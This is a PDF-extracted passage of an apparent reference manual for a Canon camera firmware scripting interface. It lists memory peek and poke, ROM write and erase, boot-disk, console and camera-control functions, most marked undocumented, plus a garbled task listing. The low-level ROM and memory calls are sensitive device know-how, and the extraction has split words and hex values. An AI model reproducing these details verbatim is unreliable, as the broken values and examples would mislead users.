a= Fopen Fut ( ”A/ t e s t . txt ” , ”w” )
Fwrite Fut ( ”AAAA” ,1 ,4 , a )
Fclose Fut ( a )
Note: needs prior call to the System.Create() function to activate.
0.6.18
CreateCountingSemaphore()
TODO: Undocumented.
Example :
CreateCountingSemaphore ()
32
Note: needs prior call to the System.Create() function to activate.
0.6.19
DeleteSemaphore()
TODO: Undocumented.
Example :
DeleteSemaphore ()
Note: needs prior call to the System.Create() function to activate.
0.6.20
TakeSemaphore()
TODO: Undocumented.
Example :
TakeSemaphore ()
Note: needs prior call to the System.Create() function to activate.
0.6.21
GiveSemaphore()
TODO: Undocumented.
Example :
GiveSemaphore ()
Note: needs prior call to the System.Create() function to activate.
0.6.22
GetTimeOfSystem()
TODO: Undocumented.
Example :
GetTimeOfSystem ()
Note: needs prior call to the System.Create() function to activate.
0.6.23
CreateTask()
TODO: Undocumented.
Example :
CreateTask ()
Note: needs prior call to the System.Create() function to activate.
0.6.24
ExitTask()
TODO: Undocumented.
Example :
ExitTask ()
Note: needs prior call to the System.Create() function to activate.
33
0.6.25
SleepTask()
TODO: Undocumented.
Example :
SleepTask ()
Note: needs prior call to the System.Create() function to activate.
0.6.26
CPrintf()
TODO: Undocumented.
Example :
CPrintf ()
Note: needs prior call to the System.Create() function to activate.
0.6.27
CPutChar()
TODO: Undocumented.
Example :
CPutChar ()
Note: needs prior call to the System.Create() function to activate.
0.6.28
GetCh()
TODO: Undocumented.
Example :
GetCh ()
Note: needs prior call to the System.Create() function to activate.
0.6.29
OpenConsole()
TODO: Undocumented.
Example :
OpenConsole ()
Note: needs prior call to the System.Create() function to activate.
0.6.30
CloseConsole()
TODO: Undocumented.
Example :
CloseConsole ()
Note: needs prior call to the System.Create() function to activate.
34
0.6.31
GetStringWithPrompt()
TODO: Undocumented.
Example :
GetStringWithPrompt ()
Note: needs prior call to the System.Create() function to activate.
0.6.32
RotateConsoleZOder()
TODO: Undocumented.
Example :
RotateConsoleZOder ()
Note: needs prior call to the System.Create() function to activate.
0.6.33
ExecuteEventProcedure()
TODO: Undocumented.
Example :
ExecuteEventProcedure ()
Note: needs prior call to the System.Create() function to activate.
0.6.34
ExportToEventProcedure()
TODO: Undocumented.
Example :
ExportToEventProcedure ()
Note: needs prior call to the System.Create() function to activate.
0.6.35
DeleteProxyOfEventProcedure()
TODO: Undocumented.
Example :
DeleteProxyOfEventProcedure ()
Note: needs prior call to the System.Create() function to activate.
0.6.36
CreateProxyOfEventProcedure()
TODO: Undocumented.
Example :
CreateProxyOfEventProcedure ()
Note: needs prior call to the System.Create() function to activate.
35
0.6.37
WriteToRom()
TODO: Undocumented.
Example :
WriteToRom ()
Note: needs prior call to the System.Create() function to activate.
0.6.38
EraseSectorOfRom()
TODO: Undocumented.
Example :
EraseSectorOfRom ()
Note: needs prior call to the System.Create() function to activate.
0.6.39
EraseSignature()
TODO: Undocumented.
Example :
EraseSignature ()
Note: needs prior call to the System.Create() function to activate.
0.6.40
GetSystemTime()
TODO: Undocumented.
Example :
GetSystemTime ()
Note: needs prior call to the System.Create() function to activate.
0.6.41
ShowAllTaskInfo()
Show all running task status. Equivalent to unix “top” command. NOTE: Must
have UART redirection enabled to see results in SD log. See StartRedirectU-
ART()
Example :
ShowAllTaskInfo ()
Output in Powershot G10 (file 0000XXXX.log):
SP
errLogTask
00 c6001a
SUSPEND
0
−−−−−−−
0040/0400
06
00386 ba8
WdtPrint
001 d0007
WAIT
1
SEM(001 c0014 )
0098/0200
29
0037 c2b8
MechaShutt
008 f 0 0 1 1
WAIT
1
SEM(008 d0066 )
0088/0400
13
00380 f 1 8
Bye
00 e70020
WAIT
1
SEM(00 e6008e )
0088/0200
26
0038 b590
SynchTask
014 f 0 0 2 c
WAIT
1
EVENT(014 c0025 )
00 d0 /1000
05
003941 a0
SyncPeriod
0150002 d
WAIT
1
SEM(014 d00d5 )
0090/1000
03
003951 e8
ImageSenso
00520009
WAIT
2
EVENT(00510005)
0100/1000
06
0037 e260
Nd
00940012
WAIT
5
SEM(00910069)
00 b8 /0400
17
003812 f 0
WBIntegTas
016 b0030
WAIT
6
RCVMQ(01690026)
00 e0 /1000
05
003981 b0
36
ZoomEvent
0074000 c
WAIT
8
EVENT(00720006)
00 c0 /0400
18
0037 f2b8
FocusEvent
007 e000e
WAIT
8
EVENT(007 d0007 )
00 c0 /0400
18
0037 f e c 8
I r i s E v e n t
00890010
WAIT
8
EVENT(00880008)
00 c8 /0400
19
00380 ad0
FocusLens
007 b000d
WAIT
9
RCVMQ(00790006)
00 b0 /0800
08
0037 fad0
I r i s
0086000 f
WAIT
9
RCVMQ(00840008)
00 b0 /0800
08
003806 e0
ASIF
00 bb0017
WAIT
9
SEM(00 ba007f )
00 a0 /1000
03
00384 f 3 0
ZoomLens
0071000 b
WAIT
10
RCVMQ(006 f 0 0 0 4 )
00 b0 /0800
08
0037 ee c0
Thermomete
0055000 a
WAIT
17
SLEEP(0055000 a )
00 f 8 /0400
24
0037 e670
ImgPlayDrv
00 b50016
WAIT
19
RCVMQ(00 b1000c )
0540/1000
32
00383 f 0 0
CZ
009 a0013
WAIT
21
RCVMQ(0098000 a )
00 b0 /0800
08
00381 b00
MotionVect
01380029
WAIT
21
RCVMQ(01340016)
02 b8 /0800
33
00390 f a 0
AfIntSrvTa
0155002 e
WAIT
21
RCVMQ(0154001 b )
00 b0 /1000
04
003961 d0
OBCtrlTask
016 f 0 0 3 1
WAIT
21
EVENT(016 e002d )
00 e8 /0400
22
003985 b0
ExpDrvTask
01730032
WAIT
21
RCVMQ(0171002 a )
00 d8 /0800
10
00398 dc8
EFChargeT
017 f 0 0 3 4
WAIT
21
RCVMQ(017 d0030 )
00 e0 /0800
10
0039 a5d0
CntFlashTa
01840035
WAIT
21
EVENT(01810033)
00 c8 /0800
09
0039 adf0
ISComTask
00 a50014
WAIT
22
SEM(00 a40074 )
0170/1000
08
00382 b30
LEDCon
00 ac0015
WAIT
22
RCVMQ(00 aa000b )
0108/0400
25
00382 eb8
BeepTask
00 c50019
WAIT
22
SEM(00 c10082 )
00 b8 /0800
08
00386728
BrtMsrTask
01790033
WAIT
22
RCVMQ(0177002 d )
0188/1000
09
00399 d20
P r c s s F i l
01 ad0039
WAIT
22
RCVMQ(01 ab0043 )
00 b8 /1000
04
0039 ce10
PhySw
00 ce001c
WAIT
23
SLEEP(00 ce001c )
0250/0800
28
00388 b80
SsTask
00 d4001e
WAIT
23
RCVMQ(00 d30012 )
00 b8 /1000
04
0038 a350
CaptSeqTas
00 e 2 0 0 1 f
WAIT
23
RCVMQ(00 df0013 )
00 c0 /1000
04
0038 b350
F s I o N o t i f y
00 f e 0 0 2 4
WAIT
23
RCVMQ(00 fd0014 )
00 b0 /1000
04
0037 be90
Fencing
01330028
WAIT
23
EVENT(0131001 f )
00 d8 /0800
10
00390978
AFTask
0158002 f
WAIT
23
RCVMQ(0156001 c )
00 b8 /1000
04
003971 d0
WBCtrl
018 f 0 0 3 7
WAIT
23
RCVMQ(018 e0033 )
01 d8 /1000
11
0037 ae00
WdtReset
001 b0006
WAIT
24
SLEEP(001 b0006 )
0080/0200
25
0037 c0c8
C t r l S r v
00 cc001b
RUNNING
24
−−−−−−−
0 c28 /1800
50
00388260
JogDial
00 c f 0 0 1 d
WAIT
24
SEM(00 d00088 )
00 b8 /0800
08
00389348
EvShel
01 bd003d
WAIT
24
SEM(01 c 4 0 0 f 5 )
01 a0 /8000
01
003 a7d48
ConsoleSvr
01 c 3 0 0 3 f
WAIT
24
RCVMQ(01 be0046 )
0198/0800
19
003 a8e38
FolderCrea
01 e10042
WAIT
24
SEM(01 df010a )
0098/0800
07
0038 c190
AudioLvl
00 c00018
WAIT
25
SEM(00 ed0093 )
00 a8 /1000
04
00385 f 3 0
DevelopMod
013 f 0 0 2 a
WAIT
25
RCVMQ(013 e0019 )
00 e0 /1000
05
00392180
DetectVert
014 a002b
WAIT
25
SEM(014900 d4 )
0090/1000
03
003931 d8
ChaceFace
01 b2003a
WAIT
25
EVENT(01 b00036 )
01 d8 /1000
11
0039 d c f 8
DispFace
01 b3003b
WAIT
25
EVENT(01 b10037 )
0650/1000
39
0039 e888
LowConsole
01 c2003e
WAIT
25
SEM(00050003)
00 b0 /0800
08
003 a8640
WBCR2Calc
01 a80038
WAIT
26
RCVMQ(01 a60041 )
00 b0 /1000
04
0039 be10
DetectMove
01 b6003c
WAIT
26
RCVMQ(01 b40044 )
0200/1000
12
0039 f c e 0
ReadSchedu
01100026
WAIT
27
EVENT(010 f 0 0 1 c )
0118/1000
06
0038 f 1 8 0
ReadFileTa
01120027
WAIT
27
EVENT(0111001 d )
0694/1000
41
00390178
UartLog
020 b0047
WAIT
27
SEM(020 c012c )
0098/1000
03
0037 d2c0
TempCheck
00 eb0021
WAIT
29
SLEEP(00 eb0021 )
00 a0 /0400
15
0038 b980
DPOFTask
01050025
WAIT
29
EVENT(0102001 b )
084 c /1000
51
0038 e140
CtgTotalTa
01 dd0041
WAIT
29
RCVMQ(01 dc0048 )
00 b8 /1000
04
003 a9e48
MetaCtgPrs
01 e60043
WAIT
30
RCVMQ(01 e4004a )
0140/1000
07
003 aadc8
MetaCtg
01 e70044
WAIT
30
RCVMQ(01 e30049 )
08 a0 /1000
53
003 abe48
ClockSave
000 e0004
READY
32
−−−−−−−
0060/0200
18
00379 e50
i d l e
00010001
READY
33
−−−−−−−
0070/00 a0
70
00379 c38
Note: needs prior call to the System.Create() function to activate.
0.6.42
memShow()
TODO: Undocumented.
Example :
memShow()
Note: needs prior call to the System.Create() function to activate.
0.6.43
Wait()
Wait a number of milliseconds.
Wait ()
Example :
Wait (100)
Note: needs prior call to the System.Create() function to activate.
37
0.6.44
AllocateMemory()
TODO: Undocumented.
Example :
AllocateMemory ()
Note: needs prior call to the System.Create() function to activate.
0.6.45
FreeMemory()
TODO: Undocumented.
Example :
FreeMemory ()
Note: needs prior call to the System.Create() function to activate.
0.6.46
Poke32()
Modify memory dword.
Poke32 ()
Example :
Poke32 (0 x1234 ,0 x11223344 )
Note: needs prior call to the System.Create() function to activate.
0.6.47
Poke16()
Modify memory word.
Poke16 ()
Example :
Poke16 (0 x1234 ,0 x1122 )
Note: needs prior call to the System.Create() function to activate.
0.6.48
Poke8()
Modify memory byte.
Poke8 ()
Example :
Poke8 (0 x1234 ,0 x11 )
Note: needs prior call to the System.Create() function to activate.
38
0.6.49
Peek32()
TODO: Undocumented.
Example :
Peek32 ()
Note: needs prior call to the System.Create() function to activate.
0.6.50
Peek16()
TODO: Undocumented.
Example :
Peek16 ()
Note: needs prior call to the System.Create() function to activate.
0.6.51
Peek8()
TODO: Undocumented.
Example :
Peek8 ()
Note: needs prior call to the System.Create() function to activate.
0.6.52
Dump()
TODO: Undocumented.
Example :
Dump()
Note: needs prior call to the System.Create() function to activate.
0.6.53
Dump32()
TODO: Undocumented.
Example :
Dump32()
Note: needs prior call to the System.Create() function to activate.
0.6.54
SDump()
TODO: Undocumented.
Example :
SDump()
Note: needs prior call to the System.Create() function to activate.
39
0.6.55
MonSelEvent()
TODO: Undocumented.
Example :
MonSelEvent ()
Note: needs prior call to the System.Create() function to activate.
0.6.56
exec()
TODO: Undocumented.
Example :
exec ()
Note: needs prior call to the System.Create() function to activate.
0.6.57
MakeBootDisk()
TODO: Undocumented.
Example :
MakeBootDisk ()
Note: needs prior call to the System.Create() function to activate.
0.6.58
MakeScriptDisk()
TODO: Undocumented.
Example :
MakeScriptDisk ()
Note: needs prior call to the System.Create() function to activate.
0.6.59
Printf()
TODO: Undocumented.
Example :
Printf ()
Note: needs prior call to the System.Create() function to activate.
0.6.60
LoadScript()
TODO: Undocumented.
Example :
LoadScript ()
Note: needs prior call to the System.Create() function to activate.
40
0.6.61
UnLoadScript()
TODO: Undocumented.
Example :
UnLoadScript ()
Note: needs prior call to the System.Create() function to activate.
0.6.62
GetBuildDate()
TODO: Undocumented.
Example :
GetBuildDate ()
Note: needs prior call to the System.Create() function to activate.
0.6.63
GetBuildTime()
TODO: Undocumented.
Example :
GetBuildTime ()
Note: needs prior call to the System.Create() function to activate.
0.6.64
GetFirmwareVersion()
TODO: Undocumented.
Example :
GetFirmwareVersion ()
Note: needs prior call to the System.Create() function to activate.
0.6.65
CheckSumAll()
TODO: Undocumented.
Example :
CheckSumAll ()
Note: needs prior call to the System.Create() function to activate.
0.6.66
MemoryChecker()
TODO: Undocumented.
Example :
MemoryChecker ()
Note: needs prior call to the System.Create() function to activate.
41
0.6.67
VerifyByte()
TODO: Undocumented.
Example :
VerifyByte ()
Note: needs prior call to the System.Create() function to activate.
0.6.68
StartWDT()
TODO: Undocumented.
Example :
StartWDT()
Note: needs prior call to the System.Create() function to activate.
0.6.69
StopWDT()
TODO: Undocumented.
Example :
StopWDT()
Note: needs prior call to the System.Create() function to activate.
0.6.70
EraseLogSector()
TODO: Undocumented.
Example :
EraseLogSector ()
Note: needs prior call to the System.Create() function to activate.
0.6.71
GetLogToFile()
TODO: Undocumented.
Example :
GetLogToFile ()
Note: needs prior call to the System.Create() function to activate.
0.6.72
AdditionAgentRAM()
TODO: Undocumented.
Example :
AdditionAgentRAM ()
Note: needs prior call to the System.Create() function to activate.
42
0.6.73
System delet()
TODO: Undocumented.
Example :
System delet ()
Note: needs prior call to the System.Create() function to activate.
0.7
UI.CreatePublic()
Example :
UI . CreatePublic ()
Allows the use of the following function:
0.7.1
SetScriptMode()
TODO: Undocumented.
Example :
SetScriptMode ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.2
UIFS StopPostingUIEvent()
TODO: Undocumented.
Example :
UIFS StopPostingUIEvent ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.3
UIFS RestartPostingUIEvent()
TODO: Undocumented.
Example :
UIFS RestartPostingUIEvent ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.4
UIFS SetCaptureModeToP()
TODO: Undocumented.
Example :
UIFS SetCaptureModeToP ()
Note: needs prior call to the UI.CreatePublic() function to activate.
43
0.7.5
UIFS SetCaptureModeToTv()
TODO: Undocumented.
Example :
UIFS SetCaptureModeToTv ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.6
UIFS SetCaptureModeToM()
TODO: Undocumented.
Example :
UIFS SetCaptureModeToM ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.7
UIFS SetCaptureModeToMacro()
TODO: Undocumented.
Example :
UIFS SetCaptureModeToMacro ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.8
UIFS SetCaptureModeToISO3200()
TODO: Undocumented.
Example :
UIFS SetCaptureModeToISO3200 ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.9
UIFS Capture()
TODO: Undocumented.
Example :
UIFS Capture ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.10
UIFS CaptureNoneStop()
TODO: Undocumented.
Example :
UIFS CaptureNoneStop ()
Note: needs prior call to the UI.CreatePublic() function to activate.
44
0.7.11
UIFS StartMovieRecord()
TODO: Undocumented.
Example :
UIFS StartMovieRecord ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.12
UIFS StopMovieRecord()
TODO: Undocumented.
Example :
UIFS StopMovieRecord ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.13
UIFS OpenPopupStrobe()
TODO: Undocumented.
Example :
UIFS OpenPopupStrobe ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.14
UIFS ClosePopupStrobe()
TODO: Undocumented.
Example :
UIFS ClosePopupStrobe ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.15
UIFS MountExtFlash()
TODO: Undocumented.
Example :
UIFS MountExtFlash ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.16
UIFS UnmountExtFlash()
TODO: Undocumented.
Example :
UIFS UnmountExtFlash ()
Note: needs prior call to the UI.CreatePublic() function to activate.
45
0.7.17
UIFS PressTeleButton()
TODO: Undocumented.
Example :
UIFS PressTeleButton ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.18
UIFS UnpressTeleButton()
TODO: Undocumented.
Example :
UIFS UnpressTeleButton ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.19
UIFS PressWideButton()
TODO: Undocumented.
Example :
UIFS PressWideButton ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.20
UIFS UnpressWideButton()
TODO: Undocumented.
Example :
UIFS UnpressWideButton ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.21
UIFS ConnectVideo()
TODO: Undocumented.
Example :
UIFS ConnectVideo ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.22
UIFS DisconnectVideo()
TODO: Undocumented.
Example :
UIFS DisconnectVideo ()
Note: needs prior call to the UI.CreatePublic() function to activate.
46
0.7.23
UIFS MoveZoomTo()
TODO: Undocumented.
Example :
UIFS MoveZoomTo ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.24
UIFS SetDialStillRec()
TODO: Undocumented.
Example :
UIFS SetDialStillRec ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.25
UIFS SetDialMovieRec()
TODO: Undocumented.
Example :
UIFS SetDialMovieRec ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.26
UIFS SetDialPlay()
TODO: Undocumented.
Example :
UIFS SetDialPlay ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.27
UIFS StartClockMode()
TODO: Undocumented.
Example :
UIFS StartClockMode ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.28
StartClockMode()
TODO: Undocumented.
Example :
StartClockMode ()
Note: needs prior call to the UI.CreatePublic() function to activate.
47
0.7.29
UIFS EndClockMode()
TODO: Undocumented.
Example :
UIFS EndClockMode ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.30
EndClockMode()
TODO: Undocumented.
Example :
EndClockMode ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.31
UIFS WriteFirmInfoToFile()
TODO: Undocumented.
Example :
UIFS WriteFirmInfoToFile ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.32
UIFS GetMovieRecoadableNumber()
TODO: Undocumented.
Example :
UIFS GetMovieRecoadableNumber ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.33
UIFS GetStillShotableNumber()
TODO: Undocumented.
Example :
UIFS GetStillShotableNumber ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.34
UIFS SetCradleSetting()
TODO: Undocumented.
Example :
UIFS SetCradleSetting ()
Note: needs prior call to the UI.CreatePublic() function to activate.
48
0.7.35
UiEvnt StartDisguiseCradleStatus()
TODO: Undocumented.
Example :
UiEvnt StartDisguiseCradleStatus ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.36
PTM RestoreUIProperty()
TODO: Undocumented.
Example :
PTM RestoreUIProperty ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.37
PTM AllResetToFactorySetting()
TODO: Undocumented.
Example :
PTM AllResetToFactorySetting ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.38
PTM AllReset()
TODO: Undocumented.
Example :
PTM AllReset ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.39
PTM GetWorkingCaptureMode()
TODO: Undocumented.
Example :
PTM GetWorkingCaptureMode ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.40
PTM SetCurrentCaptureMode()
TODO: Undocumented.
Example :
PTM SetCurrentCaptureMode ()
Note: needs prior call to the UI.CreatePublic() function to activate.
49
0.7.41
PTM SetCurrentItem()
TODO: Undocumented.
Example :
PTM SetCurrentItem ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.42
PTM GetCurrentItem()
TODO: Undocumented.
Example :
PTM GetCurrentItem ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.43
PTM NextItem()
TODO: Undocumented.
Example :
PTM NextItem ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.44
PTM PrevItem()
TODO: Undocumented.
Example :
PTM PrevItem ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.45
PTM BackupUIProperty()
TODO: Undocumented.
Example :
PTM BackupUIProperty ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.46
PTM SetProprietyEnable()
TODO: Undocumented.
Example :
PTM SetProprietyEnable ()
Note: needs prior call to the UI.CreatePublic() function to activate.
50
0.7.47
PTM IsEnableItem()
TODO: Undocumented.
Example :
PTM IsEnableItem ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.48
CreateController()
TODO: Undocumented.
Example :
CreateController ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.49
DeleteController()
TODO: Undocumented.
Example :
DeleteController ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.50
MoveControllerToTopOfZOrder()
TODO: Undocumented.
Example :
MoveControllerToTopOfZOrder ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.51
GetSelfControllerHandle()
TODO: Undocumented.
Example :
GetSelfControllerHandle ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.52
SetCurrentCaptureModeType()
TODO: Undocumented.
Example :
SetCurrentCaptureModeType ()
Note: needs prior call to the UI.CreatePublic() function to activate.
51
0.7.53
GetCurrentCaptureModeType()
TODO: Undocumented.
Example :
GetCurrentCaptureModeType ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.54
ExecuteResetFactoryWithRomWrite()
TODO: Undocumented.
Example :
ExecuteResetFactoryWithRomWrite ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.55
StartGUISystem()
TODO: Undocumented.
Example :
StartGUISystem ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.56
LCDMsg Create, LCDMsg SetStr, LCDMsg Move,
LCDMsg ChangeColor
LCD message managament functions. These functions must be registered with
a call to UI.CreatePublic()
Usage :
var=LCDMsg Create ()
LCDMsg SetStr (var ,STRING)
LCDMsg Move(var , Xpos , Ypos)
( p i x e l
coordinates )
LCDMsg ChangeColor (var ,COLOR)
COLOR v a r i e s with model . Ex .
in G10 :
0=black , 1=gray , 3=white , 5=green , >5=red
Example :
UI . CreatePublic ()
a=LCDMsg Create ()
LCDMsg SetStr (a , ”HELLO WORLD” )
LCDMsg Move(d ,10 ,30)
Note: needs prior call to the UI.CreatePublic() function to activate.
52
0.7.57
LCDMsg Delete()
TODO: Undocumented.
Example :
LCDMsg Delete ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.58
LCDMsg SwDisp()
TODO: Undocumented.
Example :
LCDMsg SwDisp ()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.7.59
LCDMsg SetNum()
TODO: Undocumented.
Example :
LCDMsg SetNum()
Note: needs prior call to the UI.CreatePublic() function to activate.
0.8
UI.Create()
Example :
UI . Create ()
Allows the use of the following function:
0.8.1
UI ShowStateOfRecMode()
TODO: Undocumented.
Example :
UI ShowStateOfRecMode ()
Note: needs prior call to the UI.Create() function to activate.
0.8.2
IsControlEventActive()
TODO: Undocumented.
Example :
IsControlEventActive ()
Note: needs prior call to the UI.Create() function to activate.
53
0.8.3
GetCurrentCaptureModeType()
TODO: Undocumented.
Example :
GetCurrentCaptureModeType ()
Note: needs prior call to the UI.Create() function to activate.
0.8.4
FmtMenu ExecuteQuickFormat()
TODO: Undocumented.
Example :
FmtMenu ExecuteQuickFormat ()
Note: needs prior call to the UI.Create() function to activate.
0.9
SS.Create()
Example :
SS . Create ()
Allows the use of the following function:
0.9.1
PT CompletePreCapt()
TODO: Undocumented.
Example :
PT CompletePreCapt ()
Note: needs prior call to the SS.Create() function to activate.
0.9.2
PT RecreviewAvailable()
TODO: Undocumented.
Example :
PT RecreviewAvailable ()
Note: needs prior call to the SS.Create() function to activate.
0.9.3
PT NextShootAvailable()
TODO: Undocumented.
Example :
PT NextShootAvailable ()
Note: needs prior call to the SS.Create() function to activate.
54
0.9.4
PT CompleteStopZoom()
TODO: Undocumented.
Example :
PT CompleteStopZoom ()
Note: needs prior call to the SS.Create() function to activate.
0.9.5
PT CompleteStopDigZoom()
TODO: Undocumented.
Example :
PT CompleteStopDigZoom ()
Note: needs prior call to the SS.Create() function to activate.
0.9.6
PT CompleteStoreLens()
TODO: Undocumented.
Example :
PT CompleteStoreLens ()
Note: needs prior call to the SS.Create() function to activate.
0.9.7
PT MovieRecordStopped()
TODO: Undocumented.
Example :
PT MovieRecordStopped ()
Note: needs prior call to the SS.Create() function to activate.
0.9.8
PT CompleteCaptModeChange()
TODO: Undocumented.
Example :
PT CompleteCaptModeChange ()
Note: needs prior call to the SS.Create() function to activate.
0.9.9
PT CompleteSynchroWrite()
TODO: Undocumented.
Example :
PT CompleteSynchroWrite ()
Note: needs prior call to the SS.Create() function to activate.
55
0.9.10
PT CompleteCharge()
TODO: Undocumented.
Example :
PT CompleteCharge ()
Note: needs prior call to the SS.Create() function to activate.
0.9.11
PT CompleteFileWrite()
TODO: Undocumented.
Example :
PT CompleteFileWrite ()
Note: needs prior call to the SS.Create() function to activate.
0.9.12
PT BatLvChange PreWeak()
TODO: Undocumented.
Example :
PT BatLvChange PreWeak ()
Note: needs prior call to the SS.Create() function to activate.
0.9.13
PT BatLvChange Weak()
TODO: Undocumented.
Example :
PT BatLvChange Weak ()
Note: needs prior call to the SS.Create() function to activate.
0.9.14
PT BatLvChange Low()
TODO: Undocumented.
Example :
PT BatLvChange Low ()
Note: needs prior call to the SS.Create() function to activate.
0.9.15
PT BatLvChange SysLow()
TODO: Undocumented.
Example :
PT BatLvChange SysLow ()
Note: needs prior call to the SS.Create() function to activate.
56
0.9.16
PT StartBatteryTest()
TODO: Undocumented.
Example :
PT StartBatteryTest ()
Note: needs prior call to the SS.Create() function to activate.
0.9.17
PT FinishBatteryTest()
TODO: Undocumented.
Example :
PT FinishBatteryTest ()
Note: needs prior call to the SS.Create() function to activate.
0.9.18
PT GetBatteryLevel()
TODO: Undocumented.
Example :
PT GetBatteryLevel ()
Note: needs prior call to the SS.Create() function to activate.
0.9.19
PT GetPreWeakBatLv()
TODO: Undocumented.
Example :
PT GetPreWeakBatLv ()
Note: needs prior call to the SS.Create() function to activate.
0.9.20
PT GetWeakBatLv()
TODO: Undocumented.
Example :
PT GetWeakBatLv ()
Note: needs prior call to the SS.Create() function to activate.
0.9.21
PT GetLowBatLv()
TODO: Undocumented.
Example :
PT GetLowBatLv ()
Note: needs prior call to the SS.Create() function to activate.
57
0.9.22
PT GetSysLowBatLv()
TODO: Undocumented.
Example :
PT GetSysLowBatLv ()
Note: needs prior call to the SS.Create() function to activate.
0.9.23
PT EraseAllFile()
TODO: Undocumented.
Example :
PT EraseAllFile ()
Note: needs prior call to the SS.Create() function to activate.
0.9.24
PT mod()
TODO: Undocumented.
Example :
PT mod()
Note: needs prior call to the SS.Create() function to activate.
0.9.25
PT GetSystemTime()
TODO: Undocumented.
Example :
PT GetSystemTime ()
Note: needs prior call to the SS.Create() function to activate.
0.9.26
PT SetPropertyCaseInt()
TODO: Undocumented.
Example :
PT SetPropertyCaseInt ()
Note: needs prior call to the SS.Create() function to activate.
0.9.27
PT GetPropertyCaseInt()
TODO: Undocumented.
Example :
PT GetPropertyCaseInt ()
Note: needs prior call to the SS.Create() function to activate.
58
0.9.28
PT GetLocalDateAndTimeString()
TODO: Undocumented.
Example :
PT GetLocalDateAndTimeString ()
Note: needs prior call to the SS.Create() function to activate.
0.9.29
PT PlaySound()
TODO: Undocumented.
Example :
PT PlaySound ()
Note: needs prior call to the SS.Create() function to activate.
0.9.30
PT LCD BkColorDef()
TODO: Undocumented.
Example :
PT LCD BkColorDef ()
Note: needs prior call to the SS.Create() function to activate.
0.9.31
PT MoveOpticalZoomToTele()
TODO: Undocumented.
Example :
PT MoveOpticalZoomToTele ()
Note: needs prior call to the SS.Create() function to activate.
0.9.32
PT MoveOpticalZoomToWide()
TODO: Undocumented.
Example :
PT MoveOpticalZoomToWide ()
Note: needs prior call to the SS.Create() function to activate.
0.9.33
PT MoveOpticalZoomAt()
TODO: Undocumented.
Example :
PT MoveOpticalZoomAt ()
Note: needs prior call to the SS.Create() function to activate.
59
0.9.34
PT MoveDigitalZoomToTele()
TODO: Undocumented.
Example :
PT MoveDigitalZoomToTele ()
Note: needs prior call to the SS.Create() function to activate.
0.9.35
PT MoveDigitalZoomToWide()
TODO: Undocumented.
Example :
PT MoveDigitalZoomToWide ()
Note: needs prior call to the SS.Create() function to activate.
0.9.36
PT MoveDigitalZoomAt()
TODO: Undocumented.
Example :
PT MoveDigitalZoomAt ()
Note: needs prior call to the SS.Create() function to activate.
0.9.37
PT ChangeZoomSpeed()
TODO: Undocumented.
Example :
PT ChangeZoomSpeed ()
Note: needs prior call to the SS.Create() function to activate.
0.9.38
PT DoAFLock()
TODO: Undocumented.
Example :
PT DoAFLock()
Note: needs prior call to the SS.Create() function to activate.
0.9.39
PT UnlockAF()
TODO: Undocumented.
Example :
PT UnlockAF ()
Note: needs prior call to the SS.Create() function to activate.
60
0.9.40
PT DoAELock()
TODO: Undocumented.
Example :
PT DoAELock()
Note: needs prior call to the SS.Create() function to activate.
0.9.41
PT UnlockAE()
TODO: Undocumented.
Example :
PT UnlockAE ()
Note: needs prior call to the SS.Create() function to activate.
0.9.42
PT MFOn()
TODO: Undocumented.
Example :
PT MFOn()
Note: needs prior call to the SS.Create() function to activate.
0.9.43
PT MFOff()
TODO: Undocumented.
Example :
PT MFOff()
Note: needs prior call to the SS.Create() function to activate.
0.9.44
NR SetDarkSubType()
TODO: Undocumented.
Example :
NR SetDarkSubType ()
Note: needs prior call to the SS.Create() function to activate.
0.9.45
NR SetDefectCorrectType()
TODO: Undocumented.
Example :
NR SetDefectCorrectType ()
Note: needs prior call to the SS.Create() function to activate.
